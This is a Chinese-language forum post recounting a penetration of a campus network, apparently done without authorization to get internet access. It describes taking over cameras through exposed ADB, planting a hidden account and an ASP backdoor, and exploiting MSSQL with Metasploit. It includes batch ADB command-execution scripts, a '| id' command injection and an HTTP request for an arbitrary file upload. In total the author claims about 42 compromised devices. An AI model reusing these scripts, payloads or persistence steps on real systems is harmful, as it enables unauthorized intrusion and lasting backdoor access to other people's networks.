[ Content contribution] 校园网内网渗透与横向
Tofloor
poster avatar
Neko205
deepin
2024-09-07 08:52
Author

校园网内网渗透与横向

warning所有渗透测试请在有授权的情况下进行

简单来说就是内网渗透,除了突破学校网络来上网,还有就是看看能不能拿下更多的设备

出网权限获取

学校的设置是教学区可以使用校园网出网,而宿舍虽然有校园网的选项但是并不能出网,根据之前的上个学期的经验学校的宿舍网络与校园网络是相通的也就是说最简单的方法就是找到一台教学区的设备作为跳板出网,这并不难,去年学校装了不少监控开着adb端口我已经报告了好几次了——你既然不修,那我就来用

image.png

随即选择一台幸运设备连接

image.png

可以看到是一个标准shell,nmap扫描结果显示开放ssh端口,这就好办了,修改passwd文件手动写入一个用户 在用passwd命令修改密码

image.png

image.png

这样就拿到了ssh权限,可以做代理了

image.png

速度尚可,但是非常不稳定

通过一个rdp弱口令进入了一台服务器,在user下发现了个好玩的

image.pngs

原以为是已经被人拿下了 但这不像

供应链
http://***.***.***.***/xxx/Default.aspx
管理员:admin    密码:***

image.png

简单设置 创建隐藏账户,在web端写入asp后门 启动gost,这下稳定了

3cb7fd74142af72be7b1899b5fa758de.png

解决了上网问题,接下来就是科学上网的问题了,当前用的不论是qv2ray or v2rayA 都做不到链式代理,后续解决方法依旧是使用gost做代理socks5链条

在vps服务端部署一个socks5,再在学校服务器部署一个中转,链接vps,使用时只需socks5连接到服务器即可

横向

学校的安全建设基本没有,在简单的搜寻后在学生机的网段找到了很多的1433的mssql的未授权访问,在msf中简单使用了cmd_xp运行无果后发现了这个模块

windows/mssql/mssql_clr_payload

CLR是微软的公共语言运行库,是 .NET Framework 的核心,为所有 .NET Framework 代码提供执行环境。 在 CLR 中运行的代码称为托管代码。 CLR 提供执行程序所需的各种函数和服务,包括实时 (JIT) 编译、分配和管理内存、强制类型安全、异常处理、线程管理和安全性。使用在 Microsoft SQL Server 中驻留的 CLR(称为 CLR 集成),可以在托管代码中编写存储过程、触发器、用户定义函数、用户定义类型和用户定义聚合。 由于托管代码在执行之前才编译为本机代码,因此在某些情形下可以大幅提高性能。——引用

利用过程忘记截图了,反正就是msf run就能拿到权限,相当安逸

adbHack

思路打开,为什么adb不能做cc?

整理完开放的ip,快速搓一个脚本完成连接,这样就可以利用adb完成批量的命令执行

#!/bin/bash

# 检查 ip.txt 文件是否存在
if [ ! -f "ip.txt" ]; then
    echo "ip.txt 文件不存在,请确保它位于同一目录下。"
    exit 1
fi

# 确保 adb server 正在运行
echo "检查 adb server 状态..."
if ! adb get-state &> /dev/null; then
    echo "adb server 未运行,正在启动..."
    adb start-server
fi

connected_devices=()  # 用于存储成功连接的设备

# 读取 ip.txt 文件中的每一行
while IFS= read -r line
do
    if [[ $line =~ ^#.*$ ]]; then
        # 跳过注释行
        continue
    fi
    # 连接设备,超时设置为1秒
    echo "正在连接到 $line ..."
    if timeout 1 adb connect $line &> /dev/null; then
        echo "成功连接到 $line"
        connected_devices+=($line)
    else
        echo "连接到 $line 超时或失败"
    fi
done < "ip.txt"

# 列出所有成功连接的设备
echo "所有连接尝试已完成。"
if [ ${#connected_devices[@]} -gt 0 ]; then
    echo "已连接的设备:"
    adb devices
else
    echo "没有设备连接成功。"
fi
#!/bin/bash

# 定义要执行的 adb 命令
ADB_COMMAND="id"

# 获取当前所有已连接的设备
connected_devices=$(adb devices | grep 'device' | awk '{print $1}')

# 检查是否有已连接的设备
if [ -z "$connected_devices" ]; then
    echo "没有找到已连接的设备。"
    exit 1
fi

# 在每个已连接的设备上执行 adb 命令
echo "在已连接的设备上执行 '$ADB_COMMAND' 命令:"
for device in $connected_devices; do
    echo "正在设备 $device 上执行命令..."
    adb -s $device shell $ADB_COMMAND
done

image.png

image.png

总计27台设备,加上ms17与mssql获取的设备 37台,这仅仅是run 就能获得的权限

经典命令执行

在某个网关中有个admin的弱口令,进去后有一个网络测试的地方

image.png

经典中的经典

| id

image.png

一点不过滤,前端都没有,超级实诚 netstat -tuln看下开放的端口

image.png

有23 怀疑弱口令

image.png

真有弱口令。。。这样的设备有四台 其他就不试了

Nday

和信下一代云桌面 任意文件上传,这个是2021年hw出来的洞,完全没有任何过滤的php文件上传,相当的纯真()


POST /Upload/upload_file.php?l=test HTTP/1.1
Host: X.X.X.X
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv


------WebKitFormBoundaryfcKRltGv
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/avif



------WebKitFormBoundaryfcKRltGv--

不过服务器上有火绒,所以用了变形的一句话shell


来自先知,之后其实可以用分离面杀转到msf的,但是由于时间关系,加上只是学生机的总控没啥二次利用的价值,就没去搞

image.png

总结

给我打爽了。。大约42台设备,没有营养但最有情绪价值的一集,其实再深入挖一挖应该还会有东西,但已经花了不少时间了,等上班整理成报告交给上去

Reply Favorite View the author
All Replies
乾豫恒益
deepin
2024-09-07 17:32
#1

like like

Reply View the author
hinata
deepin
2024-09-07 20:33
#2

like

Reply View the author
兆兆嘟嘟嘟
deepin
2024-09-07 22:42
#3

你用的windows8?

Reply View the author
Neko205
deepin
2024-09-08 16:19
#4
兆兆嘟嘟嘟

你用的windows8?

啥()

Reply View the author
兆兆嘟嘟嘟
deepin
2024-09-08 18:30
#5
Neko205

啥()

看界面像,还有“这台电脑”字样。

Reply View the author
Neko205
deepin
2024-09-10 10:34
#6
兆兆嘟嘟嘟

看界面像,还有“这台电脑”字样。

哦那个是windowServer2012

Reply View the author